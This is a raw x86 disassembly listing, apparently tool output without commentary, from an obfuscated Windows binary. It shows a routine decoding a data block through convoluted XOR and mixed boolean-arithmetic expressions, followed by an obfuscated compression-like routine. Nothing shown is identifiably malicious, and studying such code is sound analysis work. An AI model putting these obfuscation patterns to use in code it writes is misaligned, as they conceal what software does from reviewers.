mov ax, word [0x4711b4]
xor ax, 0xe8ee
mov word [0x4713b4], ax
mov ax, word [0x4711b6]
mov dx, ax
and dx, 0xeba3
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0xeba3
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x4713b6], ax
mov ax, word [0x4711b8]
mov cx, ax
xor cx, 0xffff
and cx, 0xe06d
mov dx, ax
xor dx, 0xe06d
and dx, ax
or cx, dx
mov word [0x4713b8], cx
mov ax, word [0x4711ba]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x4152
mov cx, ax
xor cx, 0xffff
or cx, 0xbead
and dx, cx
xor dx, 0xffff
xor dx, 0xffff
mov si, dx
xor si, 0xffff
or si, 0x4152
xor dx, 0xffff
or dx, 0x4152
and si, dx
xor si, 0xffff
shl si, 1
sub si, 0xbead
sub ax, si
mov word [0x4713ba], ax
mov ax, word [0x4711bc]
mov dx, ax
xor dx, 0xffff
or dx, 0x39fd
mov cx, ax
and cx, 0xc602
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
shl dx, 1
add ax, 0xc602
add ax, 0xaee1
sub ax, dx
sub ax, 0xaee1
mov word [0x4713bc], ax
mov ax, word [0x4711be]
xor ax, 0xfddf
mov word [0x4713be], ax
mov dx, word [0x4711c0]
mov ax, dx
xor ax, 0xffff
and ax, 0x5ca2
mov si, dx
and si, 0xa35d
xor si, 0xffff
and dx, 0xa35d
xor dx, 0xffff
and si, dx
xor si, 0xffff
or ax, si
mov word [0x4713c0], ax
mov ax, word [0x4711c2]
mov dx, ax
xor dx, 0xffff
or dx, 0x9cf1
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub ax, 0x9cf2
sub ax, dx
mov word [0x4713c2], ax
mov ax, word [str.USER32.dll]
xor ax, 0x4dd0
mov word [0x4713c4], ax
mov ax, word [0x4711c6]
xor ax, 0x3979
mov word [0x4713c6], ax
mov dx, word [0x4711c8]
mov ax, dx
xor ax, 0xffff
or ax, 0x8a8f
mov cx, dx
xor cx, 0xffff
or cx, 0x8a8f
xor ax, 0xffff
xor cx, 0xffff
or ax, cx
mov cx, ax
and cx, 0xfffd
mov si, ax
xor si, 0xffff
and si, 2
imul si, cx
mov cx, ax
and cx, 2
or ax, 2
imul ax, cx
add ax, si
xor ecx, ecx
sub cx, dx
add cx, 0x8a90
xor edx, edx
sub dx, cx
sub dx, 0x120f
sub dx, ax
add dx, 0x120f
mov word [0x4713c8], dx
mov ax, word [0x4711ca]
mov dx, ax
xor dx, 0x68d8
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0x68d8
shl dx, 1
sub dx, 0x68d8
add ax, 0xaa6e
sub ax, dx
sub ax, 0xaa6e
mov word [0x4713ca], ax
mov ax, word [0x4711cc]
mov cx, ax
xor cx, 0x373d
xor cx, 0xffff
and cx, 0x373d
shl cx, 1
sub cx, 0x373d
sub ax, cx
mov word [0x4713cc], ax
mov dx, word [0x4711ce]
mov si, dx
or si, si
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
or si, 0
mov ax, si
xor ax, 0xffff
or ax, 0xbbd3
xor si, 0xffff
or si, 0xbbd3
and ax, si
xor ax, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
mov dx, si
and dx, 0xbbd3
xor dx, 0xffff
and si, 0xbbd3
xor si, 0xffff
xor dx, 0xffff
xor si, 0xffff
or dx, si
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor dx, 0xffff
and ax, dx
mov word [0x4713ce], ax
mov ax, word [0x4711d0]
xor ax, 0x6fa9
mov word [0x4713d0], ax
mov dx, word [0x4711d2]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x8b51
xor dx, 0xffff
or dx, 0x74ae
and ax, dx
xor ax, 0xffff
mov word [0x4713d2], ax
mov dx, word [0x4711d4]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
mov cx, ax
xor cx, 0xf96b
xor cx, 0xffff
or ax, 0xf96b
and ax, cx
and dx, 0x694
or ax, dx
xor ax, 0x9f78
mov word [0x4713d4], ax
mov ax, word [0x4711d6]
mov cx, ax
xor cx, 0xb888
xor cx, 0xffff
and cx, 0xb888
shl cx, 1
sub cx, 0xb888
sub ax, cx
mov word [0x4713d6], ax
mov ax, word [0x4711d8]
xor ax, 0xe07d
mov word [0x4713d8], ax
mov ax, word [0x4711da]
xor ax, 0x11cc
mov word [0x4713da], ax
mov ax, word [0x4711dc]
xor ax, 0x7b02
mov word [0x4713dc], ax
mov ax, word [0x4711de]
mov dx, ax
xor dx, 0x3aea
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
mov cx, dx
xor cx, 0x3aea
xor cx, 0xffff
or dx, 0x3aea
and dx, cx
shl dx, 1
mov cx, dx
xor cx, 0x3aea
and dx, 0xc515
shl dx, 1
sub dx, cx
add ax, 0x116b
sub ax, dx
sub ax, 0x116b
mov word [0x4713de], ax
mov ax, word [0x4711e0]
mov dx, ax
xor dx, 0xc21c
xor dx, 0xffff
and dx, 0xc21c
shl dx, 1
mov cx, dx
xor cx, 0xc21c
and dx, 0x3de3
shl dx, 1
sub dx, cx
sub ax, dx
mov word [0x4713e0], ax
mov dx, word [0x4711e2]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
or ax, 0x1f9d
xor dx, 0xffff
or dx, 0xe062
and ax, dx
xor ax, 0xffff
mov word [0x4713e2], ax
mov ax, word [0x4711e4]
xor ax, 0x65bf
mov word [0x4713e4], ax
mov ax, word [0x4711e6]
mov si, ax
xor si, 0xffff
and si, 0x1a74
mov cx, ax
and cx, 0xe58b
or si, cx
xor si, 0xe58b
mov di, ax
and di, di
xor di, 0xffff
and di, 0xffff
xor di, 0xffff
and di, 0xffff
xor di, 0xffff
mov dx, si
and dx, di
xor dx, 0xffff
and si, di
xor si, 0xffff
xor dx, 0xffff
xor si, 0xffff
or dx, si
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x5de8
xor ax, 0xffff
and ax, 0xa217
mov cx, ax
and cx, dx
xor cx, 0xffff
add dx, ax
add dx, 1
add dx, cx
xor dx, 0xffff
mov word [0x4713e6], dx
mov ax, word [0x4711e8]
mov cx, ax
xor cx, 0xffff
and cx, 0x3ab3
and ax, 0xc54c
or cx, ax
xor cx, 0x570a
mov word [0x4713e8], cx
mov ax, word [0x4711ea]
mov dx, ax
and dx, 0x478f
xor dx, 0xffff
mov cx, ax
and cx, 0x478f
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x478f
sub ax, dx
mov word [0x4713ea], ax
mov dx, word [0x4711ec]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and cx, 0xdc22
mov si, dx
and si, 0x23dd
or cx, si
xor cx, 0x23dd
and ax, cx
or ax, 0x9549
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
xor dx, 0xffff
and dx, 0x9549
or ax, dx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov word [0x4713ec], ax
mov dx, word [0x4711ee]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0x9953
xor dx, 0xffff
and dx, 0x66ac
or ax, dx
xor ax, 0xffff
mov word [0x4713ee], ax
mov ax, word [0x4711f0]
xor ax, 0x49ee
mov word [0x4713f0], ax
mov ax, word [0x4711f2]
mov dx, ax
xor dx, 0x6967
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x9698
xor dx, 0xffff
and dx, 0xffff
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add dx, 0x9699
sub ax, dx
mov word [0x4713f2], ax
mov ax, word [0x4711f4]
xor ax, 0x9ee9
mov word [0x4713f4], ax
mov dx, word [0x4711f6]
mov si, dx
xor si, 0xffff
and si, 0xffff
or si, 0
and si, 0xeff4
and dx, 0x100b
mov ax, si
xor ax, 0xffff
xor si, 0xffff
or ax, si
and dx, dx
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0xc060
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xc060
or dx, ax
xor dx, 0xffff
mov word [0x4713f6], dx
mov ax, word [0x4711f8]
mov dx, ax
and dx, dx
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xa668
xor dx, 0xffff
and ax, 0x5997
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x4713f8], dx
mov ax, word [0x4711fa]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0x4849
xor dx, 0xffff
or ax, 0xb7b6
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x4713fa], dx
mov ax, word [0x4711fc]
xor ax, 0xc8b0
mov word [0x4713fc], ax
mov dx, word [0x4711fe]
mov cx, dx
xor cx, 0xffff
mov si, dx
xor si, 0xffff
xor si, 0xffff
mov ax, cx
xor ax, si
and ax, cx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
and ax, 0xb3ce
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
mov cx, dx
xor cx, 0xffff
xor dx, 0xffff
and cx, dx
or cx, 0xb3ce
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
mov word [0x4713fe], ax
mov ax, word [0x471200]
xor ax, 0x32fb
mov word [0x471400], ax
mov ax, word [0x471202]
mov cx, ax
xor cx, 0xffff
and cx, 0x150e
and ax, 0xeaf1
or cx, ax
mov word [0x471402], cx
mov ax, word [0x471204]
xor ax, 0x952b
mov word [0x471404], ax
mov ax, word [0x471206]
xor ax, 0xfb76
mov word [0x471406], ax
mov ax, word [0x471208]
xor ax, 0xc351
mov word [0x471408], ax
mov ax, word [0x47120a]
xor ax, 0x3a45
mov word [0x47140a], ax
mov cx, word [0x47120c]
mov word [ebp - 0x3a], cx
mov dx, cx
xor dx, 0xffff
mov di, cx
xor di, 0xffff
mov si, dx
and si, 0x5caa
and cx, 0xa355
mov bx, di
and bx, 0x5caa
mov ax, word [ebp - 0x3a]
and ax, 0xa355
or si, cx
or bx, ax
xor si, bx
or dx, di
xor dx, 0xffff
and dx, 0xffff
or si, dx
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
mov ax, dx
xor ax, 0xca15
xor ax, 0xffff
or dx, 0xca15
and dx, ax
mov ax, word [ebp - 0x3a]
mov si, ax
xor si, 0xffff
and si, 0x4ef4
and ax, 0xb10b
or si, ax
xor si, 0xb10b
xor si, 0xffff
or si, 0xca15
xor si, 0xffff
and si, 0xffff
mov ax, dx
xor ax, 0xffff
mov bx, si
xor bx, 0xffff
mov di, ax
and di, 0x1718
and dx, 0xe8e7
mov cx, bx
and cx, 0x1718
and si, 0xe8e7
or di, dx
or cx, si
xor di, cx
or ax, bx
xor ax, 0xffff
and ax, 0xffff
or di, ax
xor di, 0xffff
mov word [0x47140c], di
mov dx, word [0x47120e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0x6974
xor ax, 0xffff
and dx, 0x968b
xor dx, 0xffff
and ax, dx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov word [0x47140e], ax
mov ax, word [0x471210]
mov cx, ax
xor cx, 0xffff
and cx, 0x6f07
and ax, 0x90f8
or cx, ax
mov word [0x471410], cx
mov ax, word [0x471212]
xor ax, 0x4318
mov word [0x471412], ax
mov dx, word [0x471214]
mov ax, dx
and ax, 0xf8b3
mov cx, ax
and cx, 0xfffd
mov si, ax
xor si, 0xffff
and si, 2
imul si, cx
mov cx, ax
and cx, 2
or ax, 2
imul ax, cx
add ax, si
xor ecx, ecx
sub cx, dx
add cx, 0x74d
xor edx, edx
sub dx, cx
sub dx, ax
mov word [0x471414], dx
mov ax, word [0x471216]
xor ax, 0xc77f
mov word [0x471416], ax
mov ax, word [0x471218]
mov dx, ax
xor dx, 0xda96
xor dx, 0xffff
and dx, 0xda96
shl dx, 1
sub dx, 0xda96
sub ax, 0x7e6c
sub ax, dx
add ax, 0x7e6c
mov word [0x471418], ax
mov ax, word [0x47121a]
mov dx, ax
xor dx, 0xffff
and dx, 0xad07
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, 0x52f8
add ax, cx
or dx, ax
mov word [0x47141a], dx
mov ax, word [0x47121c]
xor ax, 0x27a8
mov word [0x47141c], ax
mov ax, word [0x47121e]
xor ax, 0x60f9
mov word [0x47141e], ax
mov ax, word [0x471220]
mov dx, ax
and dx, dx
xor dx, 0xffff
and dx, 0x1d54
xor dx, 0xffff
mov cx, ax
and cx, 0xe2ab
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
mov si, dx
xor si, 0xffff
or si, 0xe2ab
and dx, 0x1d54
xor dx, 0xffff
xor si, 0xffff
xor dx, 0xffff
or si, dx
shl si, 1
sub si, 0x1d54
sub ax, si
mov word [0x471420], ax
mov ax, word [0x471222]
xor ax, 0xad2c
mov word [0x471422], ax
mov ax, word [0x471224]
mov cx, ax
or cx, cx
mov dx, cx
xor dx, 0xffff
and dx, 0xdd5
and cx, 0xf22a
or dx, cx
xor dx, 0xf22a
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
and dx, 0xffff
xor dx, 0xffff
and dx, 0x78d0
or ax, 0x78d0
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
and dx, ax
mov word [0x471424], dx
mov si, word [0x471226]
mov dx, si
xor dx, 0xffff
xor dx, 0xffff
xor dx, 0x2537
and dx, 0x2537
and si, 0xdac8
mov ax, dx
and ax, si
xor dx, si
or ax, dx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x36eb
xor dx, 0xffff
xor ax, 0xffff
or ax, 0x36eb
and dx, ax
xor dx, 0xffff
mov word [0x471426], dx
mov ax, word [0x471228]
mov cx, ax
xor cx, 0xffff
and cx, 0x7851
and ax, 0x87ae
or cx, ax
mov word [0x471428], cx
mov ax, word [0x47122a]
xor ax, 0x2d0a
mov word [0x47142a], ax
mov ax, word [0x47122c]
xor ax, 0x4b75
mov word [0x47142c], ax
mov ax, word [0x47122e]
mov cx, ax
xor cx, 0x5a09
xor cx, 0xffff
and cx, 0x5a09
shl cx, 1
sub cx, 0x5a09
sub ax, cx
mov word [0x47142e], ax
mov ax, word [0x471230]
mov cx, ax
xor cx, 0xffff
and cx, 0xbddb
and ax, 0x4224
or cx, ax
xor cx, 0xaf06
mov word [0x471430], cx
mov ax, word [0x471232]
mov dx, ax
xor dx, 0xffff
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x4476
and ax, 0xbb89
or dx, ax
mov word [0x471432], dx
mov ax, word [0x471234]
mov cx, ax
and cx, 0x3340
shl cx, 1
add ax, 0x3340
sub ax, cx
mov word [0x471434], ax
mov ax, word [0x471236]
mov cx, ax
xor cx, 0xffff
mov si, ax
xor si, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
mov cx, si
xor cx, 0xffff
xor si, 0xffff
and cx, si
or dx, cx
xor dx, 0xffff
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
mov si, dx
xor si, 0xffff
or si, 0xe01c
xor dx, 0xffff
or dx, 0xe01c
and si, dx
xor si, 0xffff
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
and ax, 0xe01c
or si, ax
mov ax, si
xor ax, 0xffff
and ax, 0x6ab4
and si, 0x954b
or ax, si
xor ax, 0x954b
mov word [0x471436], ax
mov dx, word [0x471238]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
and ax, 0x9f94
mov cx, dx
xor cx, 0x606b
xor cx, 0xffff
or dx, 0x606b
and dx, cx
mov cx, ax
and cx, dx
xor ax, dx
or cx, ax
xor cx, 0xafcc
mov word [0x471438], cx
mov ax, word [0x47123a]
xor ax, 0x6047
mov word [0x47143a], ax
mov ax, word [0x47123c]
mov cx, ax
xor cx, 0xffff
and cx, 0xdc63
and ax, 0x239c
or cx, ax
xor cx, 0xb61e
mov word [0x47143c], cx
mov ax, word [0x47123e]
xor ax, 0xa932
mov word [0x47143e], ax
mov dx, word [0x471240]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0xa4c3
or dx, 0xa4c3
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x471440], ax
mov ax, word [0x471242]
mov cx, ax
xor cx, 0xffff
and cx, 0x6f40
and ax, 0x90bf
or cx, ax
mov word [0x471442], cx
mov ax, word [0x471244]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0x2fc9
xor dx, 0xffff
xor ax, 0xffff
and ax, 0x2fc9
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x471444], dx
mov ax, word [0x471246]
xor ax, 0x3011
mov word [0x471446], ax
mov ax, word [0x471248]
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
mov dx, si
or dx, cx
xor dx, 0xffff
xor si, 0xffff
xor cx, 0xffff
and si, cx
xor dx, 0xffff
xor si, 0xffff
and dx, si
and dx, 0xbe6a
xor dx, 0xffff
and ax, 0x4195
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
xor ax, 0xffff
or dx, ax
mov word [0x471448], dx
mov ax, word [0x47124a]
mov cx, ax
xor cx, 0xffff
and cx, 0xf122
and ax, 0xedd
or cx, ax
mov word [0x47144a], cx
mov ax, word [0x47124c]
xor ax, 0xb1ab
mov word [0x47144c], ax
mov ax, word [0x47124e]
mov cx, ax
and cx, 0x850a
shl cx, 1
add ax, 0x850a
sub ax, cx
mov word [0x47144e], ax
mov dx, word [0x471250]
mov si, dx
and si, si
mov ax, dx
xor ax, ax
or si, ax
mov ax, si
xor ax, 0xffff
and ax, 0xb977
and si, 0x4688
or ax, si
xor ax, 0x4688
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
and ax, 0x240d
mov di, dx
xor di, 0xffff
mov si, di
and si, 0xc9f4
and dx, 0x360b
or si, dx
xor si, 0xedf9
or di, 0xdbf2
xor di, 0xffff
and di, 0xffff
or si, di
mov cx, si
xor cx, 0xffff
and cx, 0xb0e7
and si, 0x4f18
or cx, si
xor cx, 0x4f18
or ax, cx
mov dx, ax
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
mov word [0x471450], dx
mov ax, word [0x471252]
mov cx, ax
and cx, 0x7bfc
shl cx, 1
add ax, 0x7bfc
sub ax, 0x94c4
sub ax, cx
add ax, 0x94c4
mov word [0x471452], ax
mov ax, word [0x471254]
mov cx, ax
xor cx, 0x95d4
xor cx, 0xffff
and cx, 0x95d4
shl cx, 1
sub cx, 0x95d4
sub ax, cx
mov word [0x471454], ax
mov ax, word [0x471256]
mov cx, ax
and cx, 0xff52
shl cx, 1
add ax, 0xff52
sub ax, cx
mov word [0x471456], ax
mov ax, word [0x471258]
xor ax, 0x6914
mov word [0x471458], ax
mov ax, word [0x47125a]
xor ax, 0x658f
mov word [0x47145a], ax
mov ax, word [0x47125c]
xor ax, 0x8db0
mov word [0x47145c], ax
mov ax, word [0x47125e]
mov cx, ax
and cx, 0x575f
shl cx, 1
add ax, 0x575f
sub ax, cx
mov word [0x47145e], ax
mov dword [0x474614], 1
push eax
mov dword [ebp - 0x50], esp
push eax
mov edi, esp
push eax
mov esi, esp
push eax
mov edx, esp
push eax
mov ecx, esp
push eax
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov dword [ebp - 0x14], esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0x80], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x64], esp
push eax
mov dword [ebp - 0x48], esp
push eax
mov dword [ebp - 0x24], esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x28], esp
push eax
mov dword [ebp - 0x60], esp
push eax
mov dword [ebp - 0x40], esp
push eax
mov dword [ebp - 0x7c], esp
push eax
mov dword [ebp - 0x5c], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x58], esp
push eax
mov dword [ebp - 0x54], esp
push eax
mov dword [ebp - 0x74], esp
push eax
mov dword [ebp - 0x70], esp
push eax
mov dword [ebp - 0x6c], esp
push eax
mov dword [ebp - 0x68], esp
push eax
mov dword [ebp - 0x78], esp
mov eax, dword [ebp - 0x84]
mov dword [edi], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x1c]
mov dword [esi], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x20]
mov dword [edx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x1c], ecx
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov ecx, esi
mov eax, dword [edi]
mov eax, dword [eax + 0x2c]
mov esi, dword [ebp - 0x14]
mov dword [esi], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ecx]
and eax, 0x7fff
mov dword [ebp - 0x4c], ebx
mov dword [ebx], eax
mov dword [ebp - 0x18], edx
mov ecx, dword [edi]
mov al, 1
cmp dword [ecx + 0x88], 0
jne 0x41718f
mov ecx, dword [edi]
xor eax, eax
cmp dword [ecx + 0x80], 0
je 0x41718b
cmp dword [edx], 0
setne al
jmp 0x41718d
jmp 0x41718f
test al, 1
jne 0x417198
jmp 0x417bd7
mov eax, dword [ebp - 0x80]
mov dword [eax], 0x1000
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [edx]
xor ecx, 0xffffffff
sub ecx, 0xffffffff
sub eax, ecx
mov ecx, eax
xor ecx, 0xffff8000
and ecx, eax
mov eax, dword [ebp - 0x34]
mov dword [eax], ecx
mov eax, dword [edi]
mov eax, dword [eax + 0x88]
mov ecx, dword [edx]
mov esi, edx
mov edx, ecx
xor edx, 0x1000
xor ecx, 0xffffffff
and ecx, 0x1000
shl ecx, 1
sub ecx, edx
cmp eax, ecx
jae 0x4171f4
jmp 0x4171e7
mov eax, dword [edi]
mov eax, dword [eax + 0x88]
mov esi, dword [ebp - 0x18]
jmp 0x4171fb
mov eax, 0x1000
sub eax, dword [esi]
mov ebx, dword [ebp - 0x64]
mov dword [ebx], eax
mov eax, dword [ebx]
mov ecx, dword [edi]
mov edx, dword [ecx + 0x88]
sub edx, eax
mov dword [ecx + 0x88], edx
mov eax, dword [ebx]
mov ecx, dword [esi]
xor edx, edx
sub edx, eax
sub ecx, edx
mov dword [esi], ecx
mov edx, esi
cmp dword [ebx], 0
je 0x417352
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov edx, eax
and edx, 0x8000
shl edx, 1
mov ecx, eax
add ecx, 0x8000
sub ecx, edx
xor eax, 0xffffffff
and eax, 0xffffffff
or eax, 0
xor eax, 0xffffffff
or eax, 0xffff7fff
xor eax, 0xffffffff
and eax, 0xffffffff
shl eax, 1
sub eax, ecx
cmp eax, dword [ebx]
setb al
test al, 1
jne 0x41726c
jmp 0x417283
jmp 0x41726e
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
xor eax, 0xffffffff
add eax, 0
add eax, 1
add eax, 0x8000
jmp 0x417289
jmp 0x417285
mov eax, dword [ebx]
jmp 0x417289
mov edx, dword [ebp - 0x48]
mov dword [edx], eax
mov eax, dword [edi]
add eax, 0x90
mov esi, dword [ebp - 0x34]
add eax, dword [esi]
mov ecx, dword [edi]
mov ecx, dword [ecx + 0x84]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.0044e8d0
add esp, 0xc
cmp dword [esi], 0x101
setb al
test al, 1
mov edx, dword [ebp - 0x18]
jne 0x4172cc
jmp 0x417324
mov esi, dword [ebp - 0x34]
mov eax, dword [edi]
add eax, 0x90
add eax, 0x8000
add eax, dword [esi]
mov ecx, dword [edi]
mov ecx, dword [ecx + 0x84]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov ebx, 0x101
sub ebx, dword [esi]
cmp edx, ebx
jae 0x417301
jmp 0x4172f7
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov ebx, dword [ebp - 0x64]
jmp 0x41730b
mov edx, 0x101
sub edx, dword [esi]
mov ebx, dword [ebp - 0x64]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.0044e8d0
add esp, 0xc
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x48]
mov eax, dword [esi]
mov ecx, dword [edi]
add eax, dword [ecx + 0x84]
mov dword [ecx + 0x84], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ecx]
add eax, dword [esi]
and eax, 0x7fff
mov dword [ecx], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
sub ecx, eax
mov dword [ebx], ecx
jmp 0x417220
jmp 0x417354
mov eax, dword [edx]
mov ecx, 0x7e09668f
sub ecx, eax
sub ecx, 0x30df2a93
add ecx, 0xb2d64404
mov eax, dword [ebp - 0x1c]
cmp ecx, dword [eax]
setb al
test al, 1
jne 0x417377
jmp 0x41738c
jmp 0x417379
mov ecx, dword [edx]
mov eax, 0x1012cfcf
sub eax, ecx
add eax, 0xefedb031
mov ecx, dword [ebp - 0x1c]
jmp 0x417391
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx]
mov dword [ecx], eax
mov eax, dword [edi]
cmp dword [eax + 0x80], 0
mov ecx, dword [ebp - 0x24]
jne 0x4173bd
jmp 0x4173a3
cmp dword [edx], 0x1000
setb al
test al, 1
jne 0x4173b2
jmp 0x4173bd
mov dword [ecx], 3
jmp 0x417bc3
jmp 0x4173bf
jmp 0x4173c1
jmp 0x4173c3
jmp 0x4173c5
cmp dword [edx], 4
setae al
test al, 1
jne 0x4173d4
jmp 0x4179ad
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, dword [edi]
add eax, 0x90
mov ecx, dword [ebp - 0x4c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov ecx, dword [ecx]
call fcn.0042ef10
mov ecx, eax
xor ecx, 0xffffff
xor ecx, 0xffffffff
or eax, 0xffffff
and eax, ecx
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ecx]
mov ecx, dword [ecx]
shr ecx, 0x11
mov edx, eax
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
shl edx, 1
sub edx, 0xffffffff
mov ebx, eax
sub ebx, edx
mov edx, ecx
and edx, ebx
mov ebx, ecx
and ebx, 0xffffffff
shl ebx, 1
add ecx, 0xffffffff
sub ecx, ebx
and eax, ecx
mov ecx, edx
and ecx, eax
xor edx, eax
or ecx, edx
and ecx, 0xfff
mov edx, dword [ebp - 0x7c]
mov dword [edx], ecx
mov eax, dword [edi]
mov ecx, dword [edx]
movzx eax, word [eax + ecx*2 + 0x29272]
mov esi, dword [ebp - 0x5c]
mov dword [esi], eax
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
mov ecx, dword [edi]
mov edx, dword [edx]
mov word [ecx + edx*2 + 0x29272], ax
mov eax, dword [ebx]
mov ecx, dword [esi]
add eax, 0x58eb6556
sub eax, ecx
sub eax, 0x58eb6556
movzx eax, ax
